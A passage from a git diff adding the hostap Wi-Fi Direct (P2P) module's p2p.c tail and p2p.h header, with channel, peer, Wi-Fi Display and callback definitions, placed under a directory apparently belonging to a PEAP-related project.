*p2p, unsigned int freq, const u8 *dst, + const u8 *src, const u8 *bssid, const u8 *buf, + size_t len, unsigned int wait_time) +{ + if (p2p->p2p_scan_running) { + p2p_dbg(p2p, "Delay Action frame TX until p2p_scan completes"); + if (p2p->after_scan_tx) { + p2p_dbg(p2p, "Dropped previous pending Action frame TX"); + os_free(p2p->after_scan_tx); + } + p2p->after_scan_tx = os_malloc(sizeof(*p2p->after_scan_tx) + + len); + if (p2p->after_scan_tx == NULL) + return -1; + p2p->after_scan_tx->freq = freq; + os_memcpy(p2p->after_scan_tx->dst, dst, ETH_ALEN); + os_memcpy(p2p->after_scan_tx->src, src, ETH_ALEN); + os_memcpy(p2p->after_scan_tx->bssid, bssid, ETH_ALEN); + p2p->after_scan_tx->len = len; + p2p->after_scan_tx->wait_time = wait_time; + os_memcpy(p2p->after_scan_tx + 1, buf, len); + return 0; + } + + return p2p->cfg->send_action(p2p->cfg->cb_ctx, freq, dst, src, bssid, + buf, len, wait_time); +} + + +void p2p_set_best_channels(struct p2p_data *p2p, int freq_24, int freq_5, + int freq_overall) +{ + p2p_dbg(p2p, "Best channel: 2.4 GHz: %d, 5 GHz: %d, overall: %d", + freq_24, freq_5, freq_overall); + p2p->best_freq_24 = freq_24; + p2p->best_freq_5 = freq_5; + p2p->best_freq_overall = freq_overall; +} + + +void p2p_set_own_freq_preference(struct p2p_data *p2p, int freq) +{ + p2p_dbg(p2p, "Own frequency preference: %d MHz", freq); + p2p->own_freq_preference = freq; +} + + +const u8 * p2p_get_go_neg_peer(struct p2p_data *p2p) +{ + if (p2p == NULL || p2p->go_neg_peer == NULL) + return NULL; + return p2p->go_neg_peer->info.p2p_device_addr; +} + + +const struct p2p_peer_info * +p2p_get_peer_found(struct p2p_data *p2p, const u8 *addr, int next) +{ + struct p2p_device *dev; + + if (addr) { + dev = p2p_get_device(p2p, addr); + if (!dev) + return NULL; + + if (!next) { + if (dev->flags & P2P_DEV_PROBE_REQ_ONLY) + return NULL; + + return &dev->info; + } else { + do { + dev = dl_list_first(&dev->list, + struct p2p_device, + list); + if (&dev->list == &p2p->devices) + return NULL; + } while (dev->flags & P2P_DEV_PROBE_REQ_ONLY); + } + } else { + dev = dl_list_first(&p2p->devices, struct p2p_device, list); + if (!dev) + return NULL; + while (dev->flags & P2P_DEV_PROBE_REQ_ONLY) { + dev = dl_list_first(&dev->list, + struct p2p_device, + list); + if (&dev->list == &p2p->devices) + return NULL; + } + } + + return &dev->info; +} + + +int p2p_in_progress(struct p2p_data *p2p) +{ + if (p2p == NULL) + return 0; + if (p2p->state == P2P_SEARCH || p2p->state == P2P_SEARCH_WHEN_READY || + p2p->state == P2P_CONTINUE_SEARCH_WHEN_READY) + return 2; + return p2p->state != P2P_IDLE && p2p->state != P2P_PROVISIONING; +} + + +void p2p_set_config_timeout(struct p2p_data *p2p, u8 go_timeout, + u8 client_timeout) +{ + if (p2p) { + p2p->go_timeout = go_timeout; + p2p->client_timeout = client_timeout; + } +} + + +void p2p_increase_search_delay(struct p2p_data *p2p, unsigned int delay) +{ + if (p2p && p2p->search_delay < delay) + p2p->search_delay = delay; +} + + +#ifdef CONFIG_WIFI_DISPLAY + +static void p2p_update_wfd_ie_groups(struct p2p_data *p2p) +{ + size_t g; + struct p2p_group *group; + + for (g = 0; g < p2p->num_groups; g++) { + group = p2p->groups[g]; + p2p_group_force_beacon_update_ies(group); + } +} + + +int p2p_set_wfd_ie_beacon(struct p2p_data *p2p, struct wpabuf *ie) +{ + wpabuf_free(p2p->wfd_ie_beacon); + p2p->wfd_ie_beacon = ie; + p2p_update_wfd_ie_groups(p2p); + return 0; +} + + +int p2p_set_wfd_ie_probe_req(struct p2p_data *p2p, struct wpabuf *ie) +{ + wpabuf_free(p2p->wfd_ie_probe_req); + p2p->wfd_ie_probe_req = ie; + return 0; +} + + +int p2p_set_wfd_ie_probe_resp(struct p2p_data *p2p, struct wpabuf *ie) +{ + wpabuf_free(p2p->wfd_ie_probe_resp); + p2p->wfd_ie_probe_resp = ie; + p2p_update_wfd_ie_groups(p2p); + return 0; +} + + +int p2p_set_wfd_ie_assoc_req(struct p2p_data *p2p, struct wpabuf *ie) +{ + wpabuf_free(p2p->wfd_ie_assoc_req); + p2p->wfd_ie_assoc_req = ie; + return 0; +} + + +int p2p_set_wfd_ie_invitation(struct p2p_data *p2p, struct wpabuf *ie) +{ + wpabuf_free(p2p->wfd_ie_invitation); + p2p->wfd_ie_invitation = ie; + return 0; +} + + +int p2p_set_wfd_ie_prov_disc_req(struct p2p_data *p2p, struct wpabuf *ie) +{ + wpabuf_free(p2p->wfd_ie_prov_disc_req); + p2p->wfd_ie_prov_disc_req = ie; + return 0; +} + + +int p2p_set_wfd_ie_prov_disc_resp(struct p2p_data *p2p, struct wpabuf *ie) +{ + wpabuf_free(p2p->wfd_ie_prov_disc_resp); + p2p->wfd_ie_prov_disc_resp = ie; + return 0; +} + + +int p2p_set_wfd_ie_go_neg(struct p2p_data *p2p, struct wpabuf *ie) +{ + wpabuf_free(p2p->wfd_ie_go_neg); + p2p->wfd_ie_go_neg = ie; + return 0; +} + + +int p2p_set_wfd_dev_info(struct p2p_data *p2p, const struct wpabuf *elem) +{ + wpabuf_free(p2p->wfd_dev_info); + if (elem) { + p2p->wfd_dev_info = wpabuf_dup(elem); + if (p2p->wfd_dev_info == NULL) + return -1; + } else + p2p->wfd_dev_info = NULL; + + return 0; +} + + +int p2p_set_wfd_assoc_bssid(struct p2p_data *p2p, const struct wpabuf *elem) +{ + wpabuf_free(p2p->wfd_assoc_bssid); + if (elem) { + p2p->wfd_assoc_bssid = wpabuf_dup(elem); + if (p2p->wfd_assoc_bssid == NULL) + return -1; + } else + p2p->wfd_assoc_bssid = NULL; + + return 0; +} + + +int p2p_set_wfd_coupled_sink_info(struct p2p_data *p2p, + const struct wpabuf *elem) +{ + wpabuf_free(p2p->wfd_coupled_sink_info); + if (elem) { + p2p->wfd_coupled_sink_info = wpabuf_dup(elem); + if (p2p->wfd_coupled_sink_info == NULL) + return -1; + } else + p2p->wfd_coupled_sink_info = NULL; + + return 0; +} + +#endif /* CONFIG_WIFI_DISPLAY */ + + +int p2p_set_disc_int(struct p2p_data *p2p, int min_disc_int, int max_disc_int, + int max_disc_tu) +{ + if (min_disc_int > max_disc_int || min_disc_int < 0 || max_disc_int < 0) + return -1; + + p2p->min_disc_int = min_disc_int; + p2p->max_disc_int = max_disc_int; + p2p->max_disc_tu = max_disc_tu; + p2p_dbg(p2p, "Set discoverable interval: min=%d max=%d max_tu=%d", + min_disc_int, max_disc_int, max_disc_tu); + + return 0; +} + + +void p2p_dbg(struct p2p_data *p2p, const char *fmt, ...) +{ + va_list ap; + char buf[500]; + + if (!p2p->cfg->debug_print) + return; + + va_start(ap, fmt); + vsnprintf(buf, sizeof(buf), fmt, ap); + buf[sizeof(buf) - 1] = '\0'; + va_end(ap); + p2p->cfg->debug_print(p2p->cfg->cb_ctx, MSG_DEBUG, buf); +} + + +void p2p_info(struct p2p_data *p2p, const char *fmt, ...) +{ + va_list ap; + char buf[500]; + + if (!p2p->cfg->debug_print) + return; + + va_start(ap, fmt); + vsnprintf(buf, sizeof(buf), fmt, ap); + buf[sizeof(buf) - 1] = '\0'; + va_end(ap); + p2p->cfg->debug_print(p2p->cfg->cb_ctx, MSG_INFO, buf); +} + + +void p2p_err(struct p2p_data *p2p, const char *fmt, ...) +{ + va_list ap; + char buf[500]; + + if (!p2p->cfg->debug_print) + return; + + va_start(ap, fmt); + vsnprintf(buf, sizeof(buf), fmt, ap); + buf[sizeof(buf) - 1] = '\0'; + va_end(ap); + p2p->cfg->debug_print(p2p->cfg->cb_ctx, MSG_ERROR, buf); +} diff --git a/peapwn/mods/hostap/src/p2p/p2p.h b/peapwn/mods/hostap/src/p2p/p2p.h new file mode 100644 index 000000000..22d0c5807 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p.h @@ -0,0 +1,1884 @@ +/* + * Wi-Fi Direct - P2P module + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef P2P_H +#define P2P_H + +/** + * P2P_MAX_REG_CLASSES - Maximum number of regulatory classes + */ +#define P2P_MAX_REG_CLASSES 10 + +/** + * P2P_MAX_REG_CLASS_CHANNELS - Maximum number of channels per regulatory class + */ +#define P2P_MAX_REG_CLASS_CHANNELS 20 + +/** + * struct p2p_channels - List of supported channels + */ +struct p2p_channels { + /** + * struct p2p_reg_class - Supported regulatory class + */ + struct p2p_reg_class { + /** + * reg_class - Regulatory class (IEEE 802.11-2007, Annex J) + */ + u8 reg_class; + + /** + * channel - Supported channels + */ + u8 channel[P2P_MAX_REG_CLASS_CHANNELS]; + + /** + * channels - Number of channel entries in use + */ + size_t channels; + } reg_class[P2P_MAX_REG_CLASSES]; + + /** + * reg_classes - Number of reg_class entries in use + */ + size_t reg_classes; +}; + +enum p2p_wps_method { + WPS_NOT_READY, WPS_PIN_DISPLAY, WPS_PIN_KEYPAD, WPS_PBC +}; + +/** + * struct p2p_go_neg_results - P2P Group Owner Negotiation results + */ +struct p2p_go_neg_results { + /** + * status - Negotiation result (Status Code) + * + * 0 (P2P_SC_SUCCESS) indicates success. Non-zero values indicate + * failed negotiation. + */ + int status; + + /** + * role_go - Whether local end is Group Owner + */ + int role_go; + + /** + * freq - Frequency of the group operational channel in MHz + */ + int freq; + + int ht40; + + int vht; + + /** + * ssid - SSID of the group + */ + u8 ssid[32]; + + /** + * ssid_len - Length of SSID in octets + */ + size_t ssid_len; + + /** + * psk - WPA pre-shared key (256 bits) (GO only) + */ + u8 psk[32]; + + /** + * psk_set - Whether PSK field is configured (GO only) + */ + int psk_set; + + /** + * passphrase - WPA2-Personal passphrase for the group (GO only) + */ + char passphrase[64]; + + /** + * peer_device_addr - P2P Device Address of the peer + */ + u8 peer_device_addr[ETH_ALEN]; + + /** + * peer_interface_addr - P2P Interface Address of the peer + */ + u8 peer_interface_addr[ETH_ALEN]; + + /** + * wps_method - WPS method to be used during provisioning + */ + enum p2p_wps_method wps_method; + +#define P2P_MAX_CHANNELS 50 + + /** + * freq_list - Zero-terminated list of possible operational channels + */ + int freq_list[P2P_MAX_CHANNELS]; + + /** + * persistent_group - Whether the group should be made persistent + * 0 = not persistent + * 1 = persistent group without persistent reconnect + * 2 = persistent group with persistent reconnect + */ + int persistent_group; + + /** + * peer_config_timeout - Peer configuration timeout (in 10 msec units) + */ + unsigned int peer_config_timeout; +}; + +struct p2p_data; + +enum p2p_scan_type { + P2P_SCAN_SOCIAL, + P2P_SCAN_FULL, + P2P_SCAN_SOCIAL_PLUS_ONE +}; + +#define P2P_MAX_WPS_VENDOR_EXT 10 + +/** + * struct p2p_peer_info - P2P peer information + */ +struct p2p_peer_info { + /** + * p2p_device_addr - P2P Device Address of the peer + */ + u8 p2p_device_addr[ETH_ALEN]; + + /** + * pri_dev_type - Primary Device Type + */ + u8 pri_dev_type[8]; + + /** + * device_name - Device Name (0..32 octets encoded in UTF-8) + */ + char device_name[33]; + + /** + * manufacturer - Manufacturer (0..64 octets encoded in UTF-8) + */ + char manufacturer[65]; + + /** + * model_name - Model Name (0..32 octets encoded in UTF-8) + */ + char model_name[33]; + + /** + * model_number - Model Number (0..32 octets encoded in UTF-8) + */ + char model_number[33]; + + /** + * serial_number - Serial Number (0..32 octets encoded in UTF-8) + */ + char serial_number[33]; + + /** + * level - Signal level + */ + int level; + + /** + * config_methods - WPS Configuration Methods + */ + u16 config_methods; + + /** + * dev_capab - Device Capabilities + */ + u8 dev_capab; + + /** + * group_capab - Group Capabilities + */ + u8 group_capab; + + /** + * wps_sec_dev_type_list - WPS secondary device type list + * + * This list includes from 0 to 16 Secondary Device Types as indicated + * by wps_sec_dev_type_list_len (8 * number of types). + */ + u8 wps_sec_dev_type_list[128]; + + /** + * wps_sec_dev_type_list_len - Length of secondary device type list + */ + size_t wps_sec_dev_type_list_len; + + struct wpabuf *wps_vendor_ext[P2P_MAX_WPS_VENDOR_EXT]; + + /** + * wfd_subelems - Wi-Fi Display subelements from WFD IE(s) + */ + struct wpabuf *wfd_subelems; +}; + +enum p2p_prov_disc_status { + P2P_PROV_DISC_SUCCESS, + P2P_PROV_DISC_TIMEOUT, + P2P_PROV_DISC_REJECTED, + P2P_PROV_DISC_TIMEOUT_JOIN, +}; + +struct p2p_channel { + u8 op_class; + u8 chan; +}; + +/** + * struct p2p_config - P2P configuration + * + * This configuration is provided to the P2P module during initialization with + * p2p_init(). + */ +struct p2p_config { + /** + * country - Country code to use in P2P operations + */ + char country[3]; + + /** + * reg_class - Regulatory class for own listen channel + */ + u8 reg_class; + + /** + * channel - Own listen channel + */ + u8 channel; + + /** + * Regulatory class for own operational channel + */ + u8 op_reg_class; + + /** + * op_channel - Own operational channel + */ + u8 op_channel; + + /** + * cfg_op_channel - Whether op_channel is hardcoded in configuration + */ + u8 cfg_op_channel; + + /** + * channels - Own supported regulatory classes and channels + * + * List of supposerted channels per regulatory class. The regulatory + * classes are defined in IEEE Std 802.11-2007 Annex J and the + * numbering of the clases depends on the configured country code. + */ + struct p2p_channels channels; + + /** + * cli_channels - Additional client channels + * + * This list of channels (if any) will be used when advertising local + * channels during GO Negotiation or Invitation for the cases where the + * local end may become the client. This may allow the peer to become a + * GO on additional channels if it supports these options. The main use + * case for this is to include passive-scan channels on devices that may + * not know their current location and have configured most channels to + * not allow initiation of radition (i.e., another device needs to take + * master responsibilities). + */ + struct p2p_channels cli_channels; + + /** + * num_pref_chan - Number of pref_chan entries + */ + unsigned int num_pref_chan; + + /** + * pref_chan - Preferred channels for GO Negotiation + */ + struct p2p_channel *pref_chan; + + /** + * pri_dev_type - Primary Device Type (see WPS) + */ + u8 pri_dev_type[8]; + + /** + * P2P_SEC_DEVICE_TYPES - Maximum number of secondary device types + */ +#define P2P_SEC_DEVICE_TYPES 5 + + /** + * sec_dev_type - Optional secondary device types + */ + u8 sec_dev_type[P2P_SEC_DEVICE_TYPES][8]; + + /** + * num_sec_dev_types - Number of sec_dev_type entries + */ + size_t num_sec_dev_types; + + /** + * dev_addr - P2P Device Address + */ + u8 dev_addr[ETH_ALEN]; + + /** + * dev_name - Device Name + */ + char *dev_name; + + char *manufacturer; + char *model_name; + char *model_number; + char *serial_number; + + u8 uuid[16]; + u16 config_methods; + + /** + * concurrent_operations - Whether concurrent operations are supported + */ + int concurrent_operations; + + /** + * max_peers - Maximum number of discovered peers to remember + * + * If more peers are discovered, older entries will be removed to make + * room for the new ones. + */ + size_t max_peers; + + /** + * p2p_intra_bss - Intra BSS communication is supported + */ + int p2p_intra_bss; + + /** + * ssid_postfix - Postfix data to add to the SSID + * + * This data will be added to the end of the SSID after the + * DIRECT- prefix. + */ + u8 ssid_postfix[32 - 9]; + + /** + * ssid_postfix_len - Length of the ssid_postfix data + */ + size_t ssid_postfix_len; + + /** + * max_listen - Maximum listen duration in ms + */ + unsigned int max_listen; + + /** + * cb_ctx - Context to use with callback functions + */ + void *cb_ctx; + + /** + * debug_print - Debug print + * @ctx: Callback context from cb_ctx + * @level: Debug verbosity level (MSG_*) + * @msg: Debug message + */ + void (*debug_print)(void *ctx, int level, const char *msg); + + + /* Callbacks to request lower layer driver operations */ + + /** + * p2p_scan - Request a P2P scan/search + * @ctx: Callback context from cb_ctx + * @type: Scan type + * @freq: Specific frequency (MHz) to scan or 0 for no restriction + * @num_req_dev_types: Number of requested device types + * @req_dev_types: Array containing requested device types + * @dev_id: Device ID to search for or %NULL to find all devices + * @pw_id: Device Password ID + * Returns: 0 on success, -1 on failure + * + * This callback function is used to request a P2P scan or search + * operation to be completed. Type type argument specifies which type + * of scan is to be done. @P2P_SCAN_SOCIAL indicates that only the + * social channels (1, 6, 11) should be scanned. @P2P_SCAN_FULL + * indicates that all channels are to be scanned. + * @P2P_SCAN_SOCIAL_PLUS_ONE request scan of all the social channels + * plus one extra channel specified by freq. + * + * The full scan is used for the initial scan to find group owners from + * all. The other types are used during search phase scan of the social + * channels (with potential variation if the Listen channel of the + * target peer is known or if other channels are scanned in steps). + * + * The scan results are returned after this call by calling + * p2p_scan_res_handler() for each scan result that has a P2P IE and + * then calling p2p_scan_res_handled() to indicate that all scan + * results have been indicated. + */ + int (*p2p_scan)(void *ctx, enum p2p_scan_type type, int freq, + unsigned int num_req_dev_types, + const u8 *req_dev_types, const u8 *dev_id, u16 pw_id); + + /** + * send_probe_resp - Transmit a Probe Response frame + * @ctx: Callback context from cb_ctx + * @buf: Probe Response frame (including the header and body) + * Returns: 0 on success, -1 on failure + * + * This function is used to reply to Probe Request frames that were + * indicated with a call to p2p_probe_req_rx(). The response is to be + * sent on the same channel or to be dropped if the driver is not + * anymore listening to Probe Request frames. + * + * Alternatively, the responsibility for building the Probe Response + * frames in Listen state may be in another system component in which + * case this function need to be implemented (i.e., the function + * pointer can be %NULL). The WPS and P2P IEs to be added for Probe + * Response frames in such a case are available from the + * start_listen() callback. It should be noted that the received Probe + * Request frames must be indicated by calling p2p_probe_req_rx() even + * if this send_probe_resp() is not used. + */ + int (*send_probe_resp)(void *ctx, const struct wpabuf *buf); + + /** + * send_action - Transmit an Action frame + * @ctx: Callback context from cb_ctx + * @freq: Frequency in MHz for the channel on which to transmit + * @dst: Destination MAC address (Address 1) + * @src: Source MAC address (Address 2) + * @bssid: BSSID (Address 3) + * @buf: Frame body (starting from Category field) + * @len: Length of buf in octets + * @wait_time: How many msec to wait for a response frame + * Returns: 0 on success, -1 on failure + * + * The Action frame may not be transmitted immediately and the status + * of the transmission must be reported by calling + * p2p_send_action_cb() once the frame has either been transmitted or + * it has been dropped due to excessive retries or other failure to + * transmit. + */ + int (*send_action)(void *ctx, unsigned int freq, const u8 *dst, + const u8 *src, const u8 *bssid, const u8 *buf, + size_t len, unsigned int wait_time); + + /** + * send_action_done - Notify that Action frame sequence was completed + * @ctx: Callback context from cb_ctx + * + * This function is called when the Action frame sequence that was + * started with send_action() has been completed, i.e., when there is + * no need to wait for a response from the destination peer anymore. + */ + void (*send_action_done)(void *ctx); + + /** + * start_listen - Start Listen state + * @ctx: Callback context from cb_ctx + * @freq: Frequency of the listen channel in MHz + * @duration: Duration for the Listen state in milliseconds + * @probe_resp_ie: IE(s) to be added to Probe Response frames + * Returns: 0 on success, -1 on failure + * + * This Listen state may not start immediately since the driver may + * have other pending operations to complete first. Once the Listen + * state has started, p2p_listen_cb() must be called to notify the P2P + * module. Once the Listen state is stopped, p2p_listen_end() must be + * called to notify the P2P module that the driver is not in the Listen + * state anymore. + * + * If the send_probe_resp() is not used for generating the response, + * the IEs from probe_resp_ie need to be added to the end of the Probe + * Response frame body. If send_probe_resp() is used, the probe_resp_ie + * information can be ignored. + */ + int (*start_listen)(void *ctx, unsigned int freq, + unsigned int duration, + const struct wpabuf *probe_resp_ie); + /** + * stop_listen - Stop Listen state + * @ctx: Callback context from cb_ctx + * + * This callback can be used to stop a Listen state operation that was + * previously requested with start_listen(). + */ + void (*stop_listen)(void *ctx); + + /** + * get_noa - Get current Notice of Absence attribute payload + * @ctx: Callback context from cb_ctx + * @interface_addr: P2P Interface Address of the GO + * @buf: Buffer for returning NoA + * @buf_len: Buffer length in octets + * Returns: Number of octets used in buf, 0 to indicate no NoA is being + * advertized, or -1 on failure + * + * This function is used to fetch the current Notice of Absence + * attribute value from GO. + */ + int (*get_noa)(void *ctx, const u8 *interface_addr, u8 *buf, + size_t buf_len); + + /* Callbacks to notify events to upper layer management entity */ + + /** + * dev_found - Notification of a found P2P Device + * @ctx: Callback context from cb_ctx + * @addr: Source address of the message triggering this notification + * @info: P2P peer information + * @new_device: Inform if the peer is newly found + * + * This callback is used to notify that a new P2P Device has been + * found. This may happen, e.g., during Search state based on scan + * results or during Listen state based on receive Probe Request and + * Group Owner Negotiation Request. + */ + void (*dev_found)(void *ctx, const u8 *addr, + const struct p2p_peer_info *info, + int new_device); + + /** + * dev_lost - Notification of a lost P2P Device + * @ctx: Callback context from cb_ctx + * @dev_addr: P2P Device Address of the lost P2P Device + * + * This callback is used to notify that a P2P Device has been deleted. + */ + void (*dev_lost)(void *ctx, const u8 *dev_addr); + + /** + * find_stopped - Notification of a p2p_find operation stopping + * @ctx: Callback context from cb_ctx + */ + void (*find_stopped)(void *ctx); + + /** + * go_neg_req_rx - Notification of a receive GO Negotiation Request + * @ctx: Callback context from cb_ctx + * @src: Source address of the message triggering this notification + * @dev_passwd_id: WPS Device Password ID + * + * This callback is used to notify that a P2P Device is requesting + * group owner negotiation with us, but we do not have all the + * necessary information to start GO Negotiation. This indicates that + * the local user has not authorized the connection yet by providing a + * PIN or PBC button press. This information can be provided with a + * call to p2p_connect(). + */ + void (*go_neg_req_rx)(void *ctx, const u8 *src, u16 dev_passwd_id); + + /** + * go_neg_completed - Notification of GO Negotiation results + * @ctx: Callback context from cb_ctx + * @res: GO Negotiation results + * + * This callback is used to notify that Group Owner Negotiation has + * been completed. Non-zero struct p2p_go_neg_results::status indicates + * failed negotiation. In case of success, this function is responsible + * for creating a new group interface (or using the existing interface + * depending on driver features), setting up the group interface in + * proper mode based on struct p2p_go_neg_results::role_go and + * initializing WPS provisioning either as a Registrar (if GO) or as an + * Enrollee. Successful WPS provisioning must be indicated by calling + * p2p_wps_success_cb(). The callee is responsible for timing out group + * formation if WPS provisioning cannot be completed successfully + * within 15 seconds. + */ + void (*go_neg_completed)(void *ctx, struct p2p_go_neg_results *res); + + /** + * sd_request - Callback on Service Discovery Request + * @ctx: Callback context from cb_ctx + * @freq: Frequency (in MHz) of the channel + * @sa: Source address of the request + * @dialog_token: Dialog token + * @update_indic: Service Update Indicator from the source of request + * @tlvs: P2P Service Request TLV(s) + * @tlvs_len: Length of tlvs buffer in octets + * + * This callback is used to indicate reception of a service discovery + * request. Response to the query must be indicated by calling + * p2p_sd_response() with the context information from the arguments to + * this callback function. + * + * This callback handler can be set to %NULL to indicate that service + * discovery is not supported. + */ + void (*sd_request)(void *ctx, int freq, const u8 *sa, u8 dialog_token, + u16 update_indic, const u8 *tlvs, size_t tlvs_len); + + /** + * sd_response - Callback on Service Discovery Response + * @ctx: Callback context from cb_ctx + * @sa: Source address of the request + * @update_indic: Service Update Indicator from the source of response + * @tlvs: P2P Service Response TLV(s) + * @tlvs_len: Length of tlvs buffer in octets + * + * This callback is used to indicate reception of a service discovery + * response. This callback handler can be set to %NULL if no service + * discovery requests are used. The information provided with this call + * is replies to the queries scheduled with p2p_sd_request(). + */ + void (*sd_response)(void *ctx, const u8 *sa, u16 update_indic, + const u8 *tlvs, size_t tlvs_len); + + /** + * prov_disc_req - Callback on Provisiong Discovery Request + * @ctx: Callback context from cb_ctx + * @peer: Source address of the request + * @config_methods: Requested WPS Config Method + * @dev_addr: P2P Device Address of the found P2P Device + * @pri_dev_type: Primary Device Type + * @dev_name: Device Name + * @supp_config_methods: Supported configuration Methods + * @dev_capab: Device Capabilities + * @group_capab: Group Capabilities + * @group_id: P2P Group ID (or %NULL if not included) + * @group_id_len: Length of P2P Group ID + * + * This callback is used to indicate reception of a Provision Discovery + * Request frame that the P2P module accepted. + */ + void (*prov_disc_req)(void *ctx, const u8 *peer, u16 config_methods, + const u8 *dev_addr, const u8 *pri_dev_type, + const char *dev_name, u16 supp_config_methods, + u8 dev_capab, u8 group_capab, + const u8 *group_id, size_t group_id_len); + + /** + * prov_disc_resp - Callback on Provisiong Discovery Response + * @ctx: Callback context from cb_ctx + * @peer: Source address of the response + * @config_methods: Value from p2p_prov_disc_req() or 0 on failure + * + * This callback is used to indicate reception of a Provision Discovery + * Response frame for a pending request scheduled with + * p2p_prov_disc_req(). This callback handler can be set to %NULL if + * provision discovery is not used. + */ + void (*prov_disc_resp)(void *ctx, const u8 *peer, u16 config_methods); + + /** + * prov_disc_fail - Callback on Provision Discovery failure + * @ctx: Callback context from cb_ctx + * @peer: Source address of the response + * @status: Cause of failure, will not be %P2P_PROV_DISC_SUCCESS + * + * This callback is used to indicate either a failure or no response + * to an earlier provision discovery request. + * + * This callback handler can be set to %NULL if provision discovery + * is not used or failures do not need to be indicated. + */ + void (*prov_disc_fail)(void *ctx, const u8 *peer, + enum p2p_prov_disc_status status); + + /** + * invitation_process - Optional callback for processing Invitations + * @ctx: Callback context from cb_ctx + * @sa: Source address of the Invitation Request + * @bssid: P2P Group BSSID from the request or %NULL if not included + * @go_dev_addr: GO Device Address from P2P Group ID + * @ssid: SSID from P2P Group ID + * @ssid_len: Length of ssid buffer in octets + * @go: Variable for returning whether the local end is GO in the group + * @group_bssid: Buffer for returning P2P Group BSSID (if local end GO) + * @force_freq: Variable for returning forced frequency for the group + * @persistent_group: Whether this is an invitation to reinvoke a + * persistent group (instead of invitation to join an active + * group) + * @channels: Available operating channels for the group + * Returns: Status code (P2P_SC_*) + * + * This optional callback can be used to implement persistent reconnect + * by allowing automatic restarting of persistent groups without user + * interaction. If this callback is not implemented (i.e., is %NULL), + * the received Invitation Request frames are replied with + * %P2P_SC_REQ_RECEIVED status and indicated to upper layer with the + * invitation_result() callback. + * + * If the requested parameters are acceptable and the group is known, + * %P2P_SC_SUCCESS may be returned. If the requested group is unknown, + * %P2P_SC_FAIL_UNKNOWN_GROUP should be returned. %P2P_SC_REQ_RECEIVED + * can be returned if there is not enough data to provide immediate + * response, i.e., if some sort of user interaction is needed. The + * invitation_received() callback will be called in that case + * immediately after this call. + */ + u8 (*invitation_process)(void *ctx, const u8 *sa, const u8 *bssid, + const u8 *go_dev_addr, const u8 *ssid, + size_t ssid_len, int *go, u8 *group_bssid, + int *force_freq, int persistent_group, + const struct p2p_channels *channels); + + /** + * invitation_received - Callback on Invitation Request RX + * @ctx: Callback context from cb_ctx + * @sa: Source address of the Invitation Request + * @bssid: P2P Group BSSID or %NULL if not received + * @ssid: SSID of the group + * @ssid_len: Length of ssid in octets + * @go_dev_addr: GO Device Address + * @status: Response Status + * @op_freq: Operational frequency for the group + * + * This callback is used to indicate sending of an Invitation Response + * for a received Invitation Request. If status == 0 (success), the + * upper layer code is responsible for starting the group. status == 1 + * indicates need to get user authorization for the group. Other status + * values indicate that the invitation request was rejected. + */ + void (*invitation_received)(void *ctx, const u8 *sa, const u8 *bssid, + const u8 *ssid, size_t ssid_len, + const u8 *go_dev_addr, u8 status, + int op_freq); + + /** + * invitation_result - Callback on Invitation result + * @ctx: Callback context from cb_ctx + * @status: Negotiation result (Status Code) + * @bssid: P2P Group BSSID or %NULL if not received + * @channels: Available operating channels for the group + * @addr: Peer address + * @freq: Frequency (in MHz) indicated during invitation or 0 + * + * This callback is used to indicate result of an Invitation procedure + * started with a call to p2p_invite(). The indicated status code is + * the value received from the peer in Invitation Response with 0 + * (P2P_SC_SUCCESS) indicating success or -1 to indicate a timeout or a + * local failure in transmitting the Invitation Request. + */ + void (*invitation_result)(void *ctx, int status, const u8 *bssid, + const struct p2p_channels *channels, + const u8 *addr, int freq); + + /** + * go_connected - Check whether we are connected to a GO + * @ctx: Callback context from cb_ctx + * @dev_addr: P2P Device Address of a GO + * Returns: 1 if we are connected as a P2P client to the specified GO + * or 0 if not. + */ + int (*go_connected)(void *ctx, const u8 *dev_addr); +}; + + +/* P2P module initialization/deinitialization */ + +/** + * p2p_init - Initialize P2P module + * @cfg: P2P module configuration + * Returns: Pointer to private data or %NULL on failure + * + * This function is used to initialize global P2P module context (one per + * device). The P2P module will keep a copy of the configuration data, so the + * caller does not need to maintain this structure. However, the callback + * functions and the context parameters to them must be kept available until + * the P2P module is deinitialized with p2p_deinit(). + */ +struct p2p_data * p2p_init(const struct p2p_config *cfg); + +/** + * p2p_deinit - Deinitialize P2P module + * @p2p: P2P module context from p2p_init() + */ +void p2p_deinit(struct p2p_data *p2p); + +/** + * p2p_flush - Flush P2P module state + * @p2p: P2P module context from p2p_init() + * + * This command removes the P2P module state like peer device entries. + */ +void p2p_flush(struct p2p_data *p2p); + +/** + * p2p_unauthorize - Unauthorize the specified peer device + * @p2p: P2P module context from p2p_init() + * @addr: P2P peer entry to be unauthorized + * Returns: 0 on success, -1 on failure + * + * This command removes any connection authorization from the specified P2P + * peer device address. This can be used, e.g., to cancel effect of a previous + * p2p_authorize() or p2p_connect() call that has not yet resulted in completed + * GO Negotiation. + */ +int p2p_unauthorize(struct p2p_data *p2p, const u8 *addr); + +/** + * p2p_set_dev_name - Set device name + * @p2p: P2P module context from p2p_init() + * Returns: 0 on success, -1 on failure + * + * This function can be used to update the P2P module configuration with + * information that was not available at the time of the p2p_init() call. + */ +int p2p_set_dev_name(struct p2p_data *p2p, const char *dev_name); + +int p2p_set_manufacturer(struct p2p_data *p2p, const char *manufacturer); +int p2p_set_model_name(struct p2p_data *p2p, const char *model_name); +int p2p_set_model_number(struct p2p_data *p2p, const char *model_number); +int p2p_set_serial_number(struct p2p_data *p2p, const char *serial_number); + +void p2p_set_config_methods(struct p2p_data *p2p, u16 config_methods); +void p2p_set_uuid(struct p2p_data *p2p, const u8 *uuid); + +/** + * p2p_set_pri_dev_type - Set primary device type + * @p2p: P2P module context from p2p_init() + * Returns: 0 on success, -1 on failure + * + * This function can be used to update the P2P module configuration with + * information that was not available at the time of the p2p_init() call. + */ +int p2p_set_pri_dev_type(struct p2p_data *p2p, const u8 *pri_dev_type); + +/** + * p2p_set_sec_dev_types - Set secondary device types + * @p2p: P2P module context from p2p_init() + * Returns: 0 on success, -1 on failure + * + * This function can be used to update the P2P module configuration with + * information that was not available at the time of the p2p_init() call. + */ +int p2p_set_sec_dev_types(struct p2p_data *p2p, const u8 dev_types[][8], + size_t num_dev_types); + +int p2p_set_country(struct p2p_data *p2p, const char *country); + + +/* Commands from upper layer management entity */ + +enum p2p_discovery_type { + P2P_FIND_START_WITH_FULL, + 